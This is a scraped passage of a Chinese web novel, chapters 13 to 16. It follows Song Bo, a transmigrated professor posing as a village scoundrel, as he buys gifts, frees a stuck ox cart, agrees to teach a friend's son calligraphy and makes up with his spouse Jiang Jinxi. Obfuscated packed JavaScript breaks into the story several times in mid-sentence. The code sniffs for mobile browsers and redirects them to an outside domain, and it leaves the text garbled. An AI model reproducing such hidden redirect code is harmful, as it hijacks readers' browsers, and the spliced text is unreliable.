不过宋泊不知道江金熙喜欢什么纹样的钱袋,只好直接问摊主,“不知......哥儿们都喜欢什么样式的钱袋呢?” 女摊主咯咯笑了,眼里暧昧流转,“有喜欢的哥儿要追求?” “已经是夫郞了。”宋泊答。 女摊主笑得更明媚了,“看你这么年轻就成了家,真是好福气。”说着她走到摊位前,拿起几个颜色比较鲜艳的钱袋,“这几个比较受哥儿欢迎,之前的都已经卖了去,这还是我前几日刚绣出来的。” 宋泊的眼神落在女摊主拿出来的钱袋上,每个钱袋都不大,应当能装个百来钱,钱袋上的纹饰精致漂亮,宋泊一眼便看上那个绣着枝枝青竹的钱袋。 青竹富含生命力,这个寓意配江金熙正合适。 宋泊拿过青竹钱袋,又拿了个什么都未绣的素钱袋,两个钱袋一合计,花去他十四钱。 钱袋解决以后,宋泊径直走向布行,现在秋风渐渐狂盛,往后只会越来越冷,单凭他家中那床破洞满满的被子,是不足以抵御越来越近的冬天的。 “客官看看,咱们这儿的布料极多,贵的便宜的都有,总有您能看上的。” 宋泊进的这家布行是李五推荐的,说是价格公道,店内员工也很热情,不会因为客人是普通百姓便冷脸相待。 “我想做被子。” “被子我们也是有现货的。”店员脸上带笑,右手并拢高抬,引着宋泊前往卖被子的地方。 店员没有夸大店内卖品的种类,单是被子就已经让宋泊眼花缭乱了。 “这床被褥是今日刚来的,内里芦花充盈,盖着十分暖和。”店员手中抓着一床挂在木架上的被褥,他眼力极佳,根据宋泊的穿着选了最合适他的卖品,“您可以上手摸摸,感受一下。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309952|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >店员拿的这床被褥确实不错,被褥颜色为淡灰色不容易脏,被褥上虽说没有花纹,但胜在触感很好,里头的芦花确实塞得很满,用手指捏下去,很快就会回弹。 现在这个时代,一床差的棉被就需要两千钱,更别说那些好的棉被,棉被不是普通人家能买得起的,寻常老百姓只能买塞着芦花的麻被。 “这一床多少钱?”宋泊问。 一床麻被也得用两匹麻布缝合在一起,一匹麻布一百七十钱,再加上里头填充的芦花,宋泊粗略估计了下,一床四百钱差不多。 “三百八十钱。”店员答道。 倒是比他估计的要便宜一些,“这床我要了,帮我包起来吧。” “好的客官,您还想看看别的吗?” “成衣是如何卖的?” “这边请。”店员又领着宋泊去了下一个区域。 他与江金熙都没有好衣服可以换,这次挣了钱,正好可以先买上几套应急的衣服。 这边的墙上挂了布和制好的成衣,店员一边走一边给宋泊介绍着。 已经做好的成衣会比买布定做的衣服便宜一些,因着那些成衣的纹样是固定的,尺码也是大众尺码,少了定制的需求,自然价格会低上一些。 原身没有量过三围,所以宋泊的脑海中没有关于尺寸的记忆,只能叫店员现场帮他量,他再以店员量出来的数据来选衣服。 出乎意料,原主的身材还挺好的,一米八二的个头体重一百四十五斤,宽肩窄腰,是个现成的衣架子,店员帮宋泊量着尺寸,嘴里还夸道:“您的身材简直完美,不过店内能让您选的成衣就少了些。” 恒国成年男子的身高一般在一米七到一米七八之间,布行、成衣店一般做的衣服就在这个范围之间,宋泊个子高,穿那些衣服会太小。 “无事,定做也行。”宋泊道。 穿在身上的衣服与其他东西可不能相提并论,衣服不合身,勒得难受,整天的心情都会变差。 量好自己的尺寸,宋泊才想起来他并不知道江金熙的三围尺寸。没有三围尺寸,如何买合身的衣服,他问店员:“这个布尺可否借我,租我也行,我需要回去量下家里人的尺寸。” “自然可以。”店员答得迅速,宋泊已经买了一床被褥,这布尺就算是被他卷走了去,他们也没有亏钱。 宋泊又与店员问了量尺寸的法子,才把布尺收起来。 店内适合他尺寸的衣服不多,宋泊看过以后并不喜欢,他只能自己选布,让布行帮他量身定做,他这个身量的人,一匹布能做两件上衣加一条下裤,江金熙比他矮了大概十厘米,一匹布就可以做两套衣服。 不过这么算下来,给他和江金熙添置新衣就得花八百多钱,刚买了一床被褥的宋泊钱便不够了。 无事,索性他这个大男人成天在码头搬货身上脏兮兮的,剩下的钱先给江金熙买两套衣服,他的衣服等之后赚够了再买。 13. 第十三章 带了一床被褥回村不大方便,宋泊头一次坐了车,因着传福镇和近里村很近,所以坐一次牛车也便宜,就两钱。 车上还有一块儿回村的村民,只不过他们看着他都离得远远的,有带小孩的妇人甚至把自己孩子往怀里又搂了搂。 宋泊倒是没把他们当回事,毕竟那些糟糕事都是原主做的,与他无关。 闭上眼,宋泊靠在车架子上闭目养神,累了一天,现下终于能休息一会儿。 车子慢悠悠前进,泥土的清香飘入宋泊的鼻腔之中,在颇有规律的晃动之下,宋泊脑袋一歪靠在被褥上,舒服地马上就要睡去,忽然车身一个颠簸,把他颠醒了来。 “不好意思啊各位,这轮子陷入泥里了。”车夫从前头下来,他先试探地拔了拔轮子,发现以他的力道无法撼动分毫后,他不好意思道:“可能得麻烦车上男子下来,帮我一块儿扯轮子。” 大多健康的男子不会选择坐车而是步行回去,故而车上男子不多,加上宋泊也只有五人。 不过加上车夫一共六个男子,拔动车轮还是有可能的。 众人从车上下来,宋泊和男子们一块儿走到车夫旁边,大家都回家心切,谁都不想在路上继续耽搁,这着急之间,五个男子都上了手,光有蛮劲没有巧力,车轮反而越陷越深。 宋泊观察着,看了看车轮又看了看周围。 见宋泊无所事事站在一旁,有女子便凑在一起说起了小声话。 “看看那个混头,别人都在出力就他站在那里旁观。” “就是啊,一个男子居然连个力也不愿意出。” “看来看去的,不知道什么美景吸引了他。” 那些人说话的声音不算大,但周围不吵,那些话就一句一句清晰地进入了宋泊的耳朵之中。 宋泊往前一步,说:“你们脚下的泥是软泥,越使劲越容易陷进去。” 车轮陷下去的位置应当是常年湿润,周围的地也被水给浸着,脚踩上头使劲,力被分散了不说,反而还会陷入其中。 被宋泊一提醒,男子们才发现他们的双脚不知何时已经陷入泥中,把脚扯出来都废了大劲。 其中一个长得壮硕的男子两手一叉腰,说:“那你说,要怎么做?” 他们陷的这个位置还算可以,旁边长了几棵矮小的小树,小树不高树枝不细不粗,但足以用来当杠杆。 “我们扯下一根树枝,站在干地抵着车轴,很快就能把轮子挑起来。”宋泊说。 现下看来似乎没有什么更好的办法,男子们就听着宋泊的话,挑了棵合适的树,折了它的树枝,一头抵着车轴,另一头由他们六人一块儿压着,有干地作为支撑,六人一咬牙,齐心往下一压,车轮就从泥中拔了起来,他们再将树枝稍微移动,车轮稳稳落地,从泥地中出来。 “厉害啊。”车夫夸着,说多亏了宋泊,他们才能把车轮从泥里拉出来。 刚刚说小声话的人看了全程,不自觉都闭嘴噤了声,宋泊原来真是在帮忙,是她们以小人之心度君子之腹了。 “举手之劳罢了。”宋泊笑应,他拍了拍手上的灰,路过那些人的时候,连个眼神也没给,第一个重新坐回车上。 车子再次前进,小插曲过后宋泊也不困了,一手撑着下巴,侧目往外头看去。 刚刚围在一起说话的女子之中,有一人较为年轻,她看着宋泊的侧脸,心中羞愧不安。她已到适婚年龄,家中人介绍时总把宋泊抬出来当反面例子,久而久之她听了进去,也当宋泊是个欺软怕硬的赌鬼人渣,才会跟着其他年龄稍长的妇人瞎说。 这下宋泊解决了车轮陷泥的问题,听到她们的议论声也没有出言寻麻烦,好像与传言中的人不大一样。 一对比,高下立判,女子心觉愧疚,却不好拉下脸道歉,只能坐在牛车上,心里煎熬。 又晃悠了一刻钟的时间,牛车抵达村口,车夫还有其他村子的人要送,所以牛车只会停在村口,大伙儿还得步行一段回家。 宋泊背上被褥,扶着牛车的把手下车,女子排在他身后下车,驼车的老黄牛不知怎的,踢了下腿,带着挂在它身上的车绳往上仰,如此后头的车厢颠了下,女子一时不察没站稳,差点摔落下来,还好宋泊离她近,顺手扶了一把,女子才能安然无恙地站在地上。 “多谢。”女子低身行礼。 “不必客气。”宋泊应道。 下了车,大家各自散去。 宋泊走到家中时,家里漆黑一片,江金熙不在家里。 江金熙人生地不熟的,这个时间只会在宋茶栽家中。 宋泊便也不着急寻人去,他一脚跨入卧房中,点亮两支蜡烛,卧房内亮起昏暗的黄光,虽然不亮,却足够他看清房内的东西。 宋泊把被褥从身上拿下来,走到床边把破烂的被子从床上扯下来,将新被子摊开铺了上去,新的被褥就是不一样,宋泊满心欢喜地摁了摁新被褥,想着晚上不必再挨冻,喜悦跃上心头。 把破烂被子收好准备重新再利用以后,宋泊才灭了卧房中的烛火。 从宋茶栽那儿拿来的灯笼还放在门口,想必江金熙是白日就离了家。 拎上灯笼,淡淡的烛火照亮前进的路,宋泊心情好,走在村中的道儿上都不自觉地哼起了歌。 宋茶栽家中灯火明亮,院门开着,房门却是闭着的,宋泊熄了灯笼,把灯笼靠着院门框放着,自然地走入院内。 “这便是我打算带去女方家的聘礼,江小哥你觉得如何?” 房内传来交谈声,这声音宋泊并不陌生,昨日刚听过,是宋申闻的声音。 “我不懂这些,看不明白,你还是问大姑吧。”跟宋申闻的声音比起来,江金熙的声音就有些怯弱了。 “我来看。”宋茶栽接过话茬。 宋申闻并没有回宋茶栽的话,而是抓着江金熙的称呼,“你唤我大姐大姑?” “我夫君是宋泊,我不唤大姑,唤什么呢?” 听着江金熙的回话,宋泊放在门框上想开门的手一顿。 “什么?”宋申闻的声音虽然还如往常一样,可宋泊却听出里头有了几分急切,“大姐不是说你只是个来看病的病患吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309953|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宋泊双手一使力,门朝内开了,“你们在聊什么呢?” 房内三人都转头看着他,江金熙从位置上起来,虚抓着宋泊的胳膊,往他身后躲。比起宋申闻,他还是更乐意跟在宋泊身边。 宋申闻藏不住自己的眼神,面上装着礼貌,眼里的欲望都快漫出来了,让人恶心难受。 “你五叔不是要成婚吗?现在正准备聘礼呢。”宋茶栽答道。 “这样吗?”宋泊反问着,淡淡地看向宋申闻一眼。 在宋泊的眼中,宋申闻觉着自己似乎是光裸的,心底藏的想法都被看透了,发觉自己这般想,他吸了口气回视,他可是长辈,何故怕一个没有任何成就的小辈。 “聘礼这事儿我们也帮不上忙,我就先带金熙回家了。”宋泊说,反正他本来就是来接江金熙的,帮宋申闻忙,跟宋申闻打好关系并不在他的计划当中。 “晚饭吃了?”宋茶栽问。 在这儿多待一会儿,江金熙就会被宋申闻多瞧一会儿,宋泊不乐意江金熙被那么看着,答:“我回来的时候吃过了。” “那行,路上慢些。”宋茶栽说。 房内出来,江金熙走出宋泊背后,与宋泊并肩走着,来回的路走得多了,他其实不大害怕,只是晚上老鼠出现的可能性会大一些,他才想着跟宋泊靠近些。 宋泊拎着灯笼,江金熙有一搭没一搭地跟宋泊聊起天来,他本就是个话多的人,这几日的相处以后,让他敢大着胆子与宋泊聊天了。 行至半途,宋泊还是觉得有必要跟江金熙提醒一下,他不想看见原著里的剧情发生,最好的办法就是从根源上避免。 “以后记得离宋申闻远一些。”宋泊说,宋申闻本就不是好人,根本不配他的尊称。 江金熙没有立刻回答,而是停了几秒,才从闭着的嘴里闷出个嗯来。 这声“嗯”里似乎有些小情绪,宋泊不知道江金熙哪儿不高兴了,但他也不能直言询问,毕竟他现在在江金熙面前还得像个人渣的模样。 江金熙肯定是不开心了,因为剩下的路他都没有说过话,跟个闷葫芦一般跟在他的身边。这般闷着倒让宋泊有些不自在。 回了家,宋泊领着江金熙径直走入卧房之中,不知道怎么哄江金熙,那便拿个别的事儿分散注意力。 “新买的被褥,你可得小心爱护。”宋泊道,当人渣就是别扭,好好一句话还得加工一下,加上一些刺才能说出口。 江金熙反应平平,跟在半路时一样,只应了个“嗯”。 第一个转移策略失败,宋泊便搬出第二个转移策略,他转过身,背对着江金熙从怀中拿出今日买的青竹钱袋,往里头塞了一百钱。 “拿去。”宋泊拇指和食指捏着钱袋的绳子。 江金熙不明所以,但还是两手平摊合在一起。 钱袋落在他的手中,沉甸甸的,里头钱数不少。 宋泊是个穷人,这才几天,他哪儿来的这么多钱。 不过江金熙现在还气在心头,便不在乎宋泊的钱从哪儿来的,只应了声,“谢谢。” 14. 第十四章 转移注意力的策略失败了,直到上了床、熄了灯,江金熙依旧是一言不发。 人渣不应该哄人,可宋泊毕竟不是真正的人渣,他觉着自己把江金熙惹生气了,心中有口淤气堵着难受。 明日他去找李五问问,李五有媳妇,应该会比他有哄人的经验。 吹灭卧房内所有的蜡烛,一片黑暗之中,宋泊看见江金熙背对着他,身子紧贴着墙,两人之间的被子都凹下去了一块,有点儿透风。 宋泊在心底忍不住发笑,江金熙闹起脾气来跟小孩子一样,窝在墙角里生闷气。 笑过以后,宋泊还记着自己的要事,正好江金熙这时背对着他,不用他熬着两眼等江金熙翻身。他从包里拿出从布行里借来的布尺,小心地在被子里拉开,然后伸着胳膊在离江金熙还有两三厘米的地方,撑开量尺寸。 用指甲掐着布尺,宋泊拿回布尺瞧长度,所幸还有从窗户洒进来的月光,不然宋泊真要被布尺上的数字搞成斗鸡眼了。 宋泊在被子里折腾的动作不小,江金熙本就没有睡着,便小心感受身后的动静。 两人之间漏风的被洞一下大一下小的,让他觉着后背一下冷一下更冷。不知道宋泊到底在搞什么名堂,他想转身,可一想着宋泊说的话,火气上来又压下了好奇,不管他再搞什么,他都不想理他了。 成功量好三围,宋泊把布尺往怀里一塞,转过身没一会儿就睡着了。 当货工就有这点儿好,每日精力都被搬货耗光,脑袋一沾枕头就能入睡。 翌日,宋泊到了码头,才得知李五生了病,这几日上不了工。 这可完了,他比较熟悉的能聊聊家里事的人只有李五,希望李五病得不重,明日便能回岗。 没了李五,宋泊搬货的效率就低了许多,今日只赚了三十六钱。下工后他赶往布行,把布尺还给店员以后,又定了两套定制的服装,结算以后,他身上只剩下二百二十钱。 被褥和衣服都是两日后可拿,算是效率极高了。 宋泊下工回家,江金熙还是跟闷葫芦一样,能一个字回答的问题绝对不答两个字,如此又过了两天,宋泊实在是受不了,提着一些水果找到李五家中。 开门的是个朴素的女子,她的身形有些壮硕,头上带着个暗蓝色的头巾,两手袖子撸了起来,应当是正在干活,听着宋泊的敲门声才赶来开门。 看到门口站着位文质彬彬还拿着水果的男子,女子疑惑道:“你找谁?”面前这人面容英俊,普通麻服在他身上竟像绫罗绸缎,女子搜索了下自己的记忆,她们家好像并不认识这样的人物。 “李五是住这儿吗?”宋泊问。 李五的住址是他从船老板口中问出来的,还好李五常年给船老板做工,不然一般的兼职货工,船老板也不知道他们住哪儿。 李五不算非常穷,却住在贫民区内,这地儿房子小不说,纵横巷子弯弯绕绕,宋泊问了好几个人,才找到李五家。 “是,你是……?”女子问道。 “我是宋泊,李五的朋友。”宋泊自我介绍。 许是李五在家提过宋泊的名字,女子听见宋泊名字以后,便侧了身放他进去。 李五家由四个小房间及一个院子组成,院子中放了个石磨,让本就小的院子更拥挤了些,石磨上还有研磨豆子流出的汁水,可见女子之前应当是在院中拉磨磨豆。 “阿篮,谁来了?”正对院门的房子最大,应该是主卧房,李五的声音也是从里头传出来的。 “宋泊来了。”阿篮的声音高亢。 “什么,快让他进来。”李五说。 阿篮帮宋泊开了卧房门,只在门口,宋泊就看着李五高高挂在床架上的腿,看样子像是摔折了。 “多谢嫂子。”宋泊回过头谢过阿篮。 阿篮点了头回到院子里继续拉磨,难怪阿篮的身形比其他女子大些,没点力气还真拉不动那千斤重的磨盘。 “你怎么来了?”李五的腿被固定着,身体不能随意旋转,话虽然是说给宋泊听的,但脸却朝着床板顶。 “三日不上工,来瞧瞧你。”说着,宋泊把水果放床边的柜子上,自己搬了把木凳到床边坐下,“李兄你这是怎么了?” 李五呵呵笑着,说:“前几日滑了一跤,摔骨折就成这样了。” “那你可得好好休息,这伤筋动骨可不是小事。”宋泊说,就算是成年人,将骨头摔断了没有好好休息导致骨头长歪了,这就把小事变成大事了。 “你怎么跟我娘子说得一模一样。”李五说:“不过一个小伤,过两日我就上工去。” “还是多歇歇。”宋泊说,他不是学医学的,说不出什么医学道理来,只能按着自己的理解劝说李五。 李五是个粗人,说大道理他听不进去,宋泊举了些简单的例子,倒是说进了李五的心中。 “我看嫂子在外拉磨,那是做什么?”宋泊道。 “阿篮那是在做豆腐。”李五答。 豆腐的技艺复杂,故而豆腐卖价还行,一块豆腐能卖到一钱。 简单寒暄几句以后,宋泊才切入正题。 “李兄......”说起这事儿宋泊还有些难以启齿。 “你说。”听宋泊这语气,李五觉着宋泊是带了件难事来了。 “是这样的,我家夫郞最近跟我起了别扭。”宋泊缓缓将江金熙闹别扭的事情从头到尾告诉李五。 李五一个大老粗,自然琢磨不透哥儿的心思,听完宋泊的话以后,他也疑惑,“你说的话都很正常,他是为什么与你生气呢?” “现在为什么生气已经不重要了,我想问问李兄可有哄人的法子。”宋泊说。 “不能说有没有。”李五抬手摩挲着下巴,他与阿篮成婚已经十年有余,期间肯定吵过架,他哄人的法子无非就是买些阿篮喜欢吃的、喜欢看的,再说些哄人的甜话,基本这套下来,阿篮的气就会消去了。 李五的方法说起来简单,实施起来却不太容易,他与江金熙相处堪堪一周,摸不清他喜欢吃什么又喜欢看什么。不过他上次从喜春楼打包菜品回去以后,江金熙倒是把桂花糖藕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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笔墨纸砚可不是便宜东西,一张纸就要零点五钱,用的笔墨加起来要百来钱,这还是品质差的笔墨,若是买支好笔,那就得花去一贯钱也就是一两白银,这可不是普通百姓能消费得起的。 “很好。”听自家儿子抄了书,李五吃饭都带了笑,他道:“这位宋叔叔可是个写字好手,你得多与人学学。” 李会书睁圆双眼,满眼都是星星,他直勾勾看着宋泊,有些不敢相信地说道:“真的吗?” 被小孩用敬佩的眼神看着,宋泊点头,“只是会写字而已,称不上好手。” “就是他让你爹赢了一百钱回来。”阿篮补充着。 宋泊写字赢秦令这事儿可是个光荣事迹,从喜春楼回来以后,李五第一时间与阿篮和李会书分享。 李会书放下碗筷,径直走到宋泊面前,九十度弯下了腰,语气虔诚,“宋叔叔!请您教我写字。” 15. 第十五章 宋泊当了几年的古代文学专业的大学教授,都没有这样的待遇,这才来古代几日,就被人行了大礼。 “赶紧起来。”宋泊放了碗筷,起身扶李会书起来,“你爹抬举我了,我只是会写字罢了。” “是宋叔叔谦虚了。”李会书说。 李五那日回来高兴得不行,绘声绘色地跟他与娘亲讲了在喜春楼发生的事,码头货工赢了纨绔学子,这怎么不振奋人心。自那日起,他便记着宋泊,想与他学习写字。 “练毛笔字贵在坚持。”宋泊拉着李会书的胳膊,把他重新拉回餐桌边。 李会书乖乖地坐回位子上,满眼敬佩地看着宋泊,两只耳朵竖起,把宋泊说的每个字都记进心里。爹、娘都是普通百姓,供他读书已经十分辛苦,没有多余的钱再供他上私塾,而他现在上的义堂只教人粗识文字而已,深的学问完全涉及不到,写字本就是个功夫活,写一手好字的人,学问都不会太差。 只要宋泊肯教他,他绝对能比在义堂学到更多的知识。 见李会书跟小兔一样,双眼放光,宋泊心底不觉好笑,十岁的少年正是练字的好时候,到时候参加科举考试,卷面整洁、字迹工整,以古代人对字的重视程度,肯定能得到些附加分。 “你好好吃饭,我就教你。”宋泊道。 听宋泊这么说,李会书立即端碗起来,往嘴里扒饭,吃得急了还咳嗽几声,阿篮边笑边给他拍背,让他吃慢些。 李五虽然没读过书,但他知道读书不易,隔壁老何家的大儿子读书一辈子,五十岁才中举,可想而知这条路究竟有多么艰难。学者很难,教者更难,以宋泊那样的性子,应下的事必会做到极致,如此教李会书写字一定会耗费宋泊的时间和精力。他一开始夸宋泊只是单纯觉着自己这个朋友厉害,并没有其他心思,现在事情这么发展,倒给宋泊送了个麻烦活。 李五说:“你不用把会书的话放在心上,什么学写字,你甭理他。” 宋泊明白李五的意思,可他答应的事从来没有反悔的道理,他道:“今儿个我不是也有事找你帮忙?这样一抵便了了。” “这哪儿一样?!”李五应声,且不说他提的办法有没有效果,这给个建议和教人写字怎么能相提并论。 “就这么定了,你不必再说。”宋泊说。 无法,李五只能想着等会儿跟阿篮商量商量,送些东西给宋泊算是学费。 吃完晚饭,宋泊到李会书的屋子里,看他平日写的作品。 李会书的卧室就在主卧房旁,空间不大,入室就是一张简单的木桌,木桌上的笔墨纸砚整齐的放着,一幅看着像是李会书今日抄写的文章平铺放着已经干透。 李会书啪嗒啪嗒跑进房间,双手捧起那幅平摊的作品,走到宋泊面前,“宋叔叔,这是我今日抄的《大学》。” 宋泊小心接过,李会书的字还带着稚气,笔锋不够成熟,停留在临摹他人范本的阶段。 “你抄写的范本在哪儿?”宋泊问。 “我没有范本,这是模仿义堂夫子写的。”李会书回答道,他小心翼翼地观察宋泊的神色。 仅凭记忆能一字不差地将《大学》抄下来,而且还能模仿他人字迹,这对于一个十岁的孩子来说,可是十分困难。 “这人笔锋锐利,不适合你。”宋泊在木桌前坐下,提笔就在空白的纸上写下一页《大学》的内容,根据李会书笔迹的特点,宋泊特意写下一款适合他的字形,“以后你按这个学,每日腾出时间,抄写三遍。” 李会书如获至宝,他点头如捣蒜,双眼发光地看着桌上未干的字迹,对比便知高下,宋泊的字比义堂夫子的字好得不是一星半点。 “你先将字练好,剩下的以后再说。”宋泊道。 “是!”李会书站得笔直,高声应道。 从李五家出来的时候,宋泊手里又拎上了两个袋子,本来送东西去的,现在拿东西回,甚至拿回来的比送去的还多。 宋泊尝试过推辞,但李五说不收下次就不让他来,这般威胁之下宋泊只能收下。 宋泊还记得李五给的建议,虽然现在天色已经完全暗了下来,但集市依旧开着,宋泊先买了上次的糖,这次经费充足一些,他便顺便还买了几块不能久放的糕点,哄人的诚意自然要多些。江金熙喜欢吃甜,松软可口的糕点应该能符合他的喜好。 接着他去布行领了做好的衣服,宋泊不知道江金熙喜欢什么,但是新衣服应该是不会有人拒绝的。 把衣服背在身上,宋泊带着大包小包回家。 这日倒是奇了,家中的烛火居然亮着,江金熙没去宋茶栽那儿。 走得近些,宋泊发现自家院门旁放了个小木筐,木筐上盖了块布,不知道里头装的什么。 宋泊对这小木筐没有任何印象,他猜想也许是别人把东西放错了位置,便也没掀开布看里头的东西,径直跨入院内。 打开卧房门,江金熙正坐在床的边沿,他离烛火很近,手中捧着一本书。听到门口开门的动静,他也只是抬了下眸,看到是宋泊后,他又看回书中。 宋泊把身上的东西放在房内的桌子上,这几日江金熙对他都是如此冷淡,他都有些习惯了。 “看什么呢?”宋泊问。 “书。”一个字从江金熙的嘴里蹦出来。 宋泊也不生气,他走到江金熙身旁,垂眸往下一看,江金熙正翻到三七那页,书页左上角画了植物的模样,图样旁标注着植物的名字以及功效等跟中药有关的内容。 “你在看医书?”宋泊问。 原著里没提到江金熙的职业,他在村中时原身将他囚禁在家里,囚禁的这一年他什么事也未做,等叶单越找来以后,他回了京城嫁给叶单越,又成了金丝雀,不过从一个笼子飞进另一个笼子中罢了。 这般想着,宋泊有些怜悯江金熙,他只是为虐而生,他心底喜欢什么,想做什么,并没有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309955|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在乎。 “你识字?”江金熙抬眼看向宋泊。 可不能暴露自己识字,这一世他只想当个目不识丁的乡野村夫,宋泊挠了下后脑勺,编道:“我看大姑拿过这本书。” 江金熙垂下眼帘,心想也是,平民百姓读书不易,宋泊这么个之前还陷在赌博泥潭的人,怎么可能识字。 宋泊伸手把书籍一抢,摊开反着盖在床上,然后攥住江金熙的胳膊,轻轻把他从床上拉起来,“先别看书了。” 江金熙不明所以,他顺着宋泊的力道起身,走到桌子旁。 宋泊去镇里以后每日都会带东西回来,江金熙已经见怪不怪了。 宋泊把装有衣服的包裹打开,拿出其中一套的上衣撑开,把整件上衣展现在江金熙面前,说:“我看这衣服挺适合你,随手买了。” 江金熙几日的淤气因着这件衣服散去不少,谁能不喜欢新衣服呢?至少他是喜欢的。 江金熙上了手,细细品味衣服的触感,这件上衣的布料自然比不上他在京城里穿的,但比他现在身上穿的这件麻破衣要好。他早就想把身上这套衣服换了,奈何他还没有赚钱的法子,只好暂时搁置这个计划,没想到宋泊居然会给他买衣服,他心底升起一股说不上的滋味。 “试试。”宋泊道,江金熙不在的时候,他还看不出衣服大小,现下江金熙拿着衣服,这上衣好像有些大了。 “好。”江金熙迫不及待地套上衣服,连带着下边的裤子也试了试。 衣服确实是大了,江金熙里头本就穿了麻衣,这下直接套上衣服却刚刚好。都是他在被窝里量尺寸的错,专业的事情还得专业的人来,宋泊几分羞愧,道:“脱了,我明日拿去换。” 江金熙捂着身上的衣服,说:“不用,正合适呢。” 这衣服虽然大了,但秋冬穿的衣服就得大一些,不然里头怎么多穿怎么保暖。 既然江金熙说不用,宋泊就不强求着要换,一套衣服试过以后,宋泊又让他试了另一套衣服,毕竟是一个尺码出来的,第一套大了,第二套自然也会大。不过看着江金熙的嘴角一直上扬着,宋泊觉得他应当是挺喜欢着两套衣服的。 试完衣服,宋泊把空包裹收起来,江金熙看着宋泊的动作,问:“你的呢?” “我的什么?” “你的衣服呢?” “我不喜欢新衣服,身上这套能穿就行。”宋泊说。 江金熙张了张口,想说的话哏在喉咙中,他不知道物价却也知道衣服不便宜,宋泊背上那片淤青还没完全消掉,那些汗水换来的辛苦钱竟然先给他买了衣服...... “船老板又送了糖,我不爱吃,给你了。”宋泊再把糖包摊开,把糖和糕点拿出来,“这糕点放不得,你等会直接吃了。” “你为什么......”江金熙音量如蚊子。 “什么?”宋泊转头。 江金熙摇头,“不,没什么。” 16. 第十六章 江金熙上扬的嘴角一直没有落下,本就好看的人因为月牙似的红唇又添上了几分俏皮可爱。 宋泊背在身后的双手摩挲了下虎口,现在江金熙心情不错,应当可以询问一下,之前是因为什么而生气。 “这几日有人惹着你了?”宋泊问。 江金熙答得极快,“没有。” 宋泊自然不相信这个说辞,想也没想就回答确有几分心虚。 “没有你一直摆着脸。”宋泊拉了把椅子坐下,与江金熙眼对眼地看着。 许是宋泊的眼神太过真挚,江金熙撇了撇嘴角,满腔的委屈在这个时候达到顶峰,他揪着新衣服的袖口,眼神下移没往宋泊那儿看,“还不是你。” 宋泊愣了,他回想自己这几日做了什么,思来想去都没想明白是哪个动作惹到了江金熙。 “你那日让我离宋申闻远点,听起来像是我有意引他似的。”江金熙终于说出他生气的真正原因。三日前从宋茶栽家里出来时,宋泊跟他说的话再结合上他的语气,好像是他有意勾引宋申闻一样,怎么听怎么难受,他一个京城贵少爷,哪儿受过这样的委屈。 宋泊想起那日他说的话,放在口中仔细砸吧砸吧,轮转几次以后,确是品出那么点味道,他道:“我随意一说而已。” “但我不是随意一听。”江金熙倔强地挪眼与宋泊对视,“我不知道你为什么与我说话总是话里带刺,明明你对大姑不是这样的。” 一周的时间说长不长,说短也不短,足以让江金熙对宋泊有个大致的了解,这人对其他人彬彬有礼,对他就跟仙人掌似的,扎人。 宋泊噤声,思绪百转想着怎么解释合理。 看着宋泊低头像个鹌鹑,江金熙咬了下嘴唇,拿起桌上的糕点吃进口中,糕点化在口中泛着淡淡香气,他咽下糕点,说:“这次就原谅你了。” “对不起。”宋泊说。 这三个字与原主的人渣属性十分不配,可宋泊做了错事,总归是要道歉的。说到底,也是他想要装成原主的语气,才伤到了江金熙的自尊。 江金熙动作一顿,“你说什么?” 男子汉敢作敢当,宋泊目光炯炯地看着江金熙,声音提高几分,“对不起。” 江金熙的耳廓悄悄红了,他小口小口吃着糕点掩饰自己的不自然,“说、说了原谅你了,这事儿翻篇。” 话说开了,月亮也高高挂上了,江金熙打了个哈欠,有些困倦。 看着江金熙睡眼朦胧还要强撑着精神坐在桌子旁吃糕点,宋泊说:“吃不完就别吃了。” “会坏。”江金熙答,这糕点可不能久放,不吃不就浪费了。 “可以放三日。”宋泊扎起纸袋,把糕点重新包起来,拿去厨房放着。 现在入了秋气温降下来,食物的保质期都会稍微延长一些。 等宋泊重回卧房,江金熙已经爬上了床,在床里一侧乖巧躺着。 宋泊也困得很,熄了烛火以后,他赶紧缩进被窝之中,闭眼翻身朝着房门,窗外风声呼啸,连带着树枝发出沙沙声,风从窗子吹进卧房,今日比昨天冷了不少。迷迷糊糊之中宋泊想着过两日休息,他要把窗子修修。 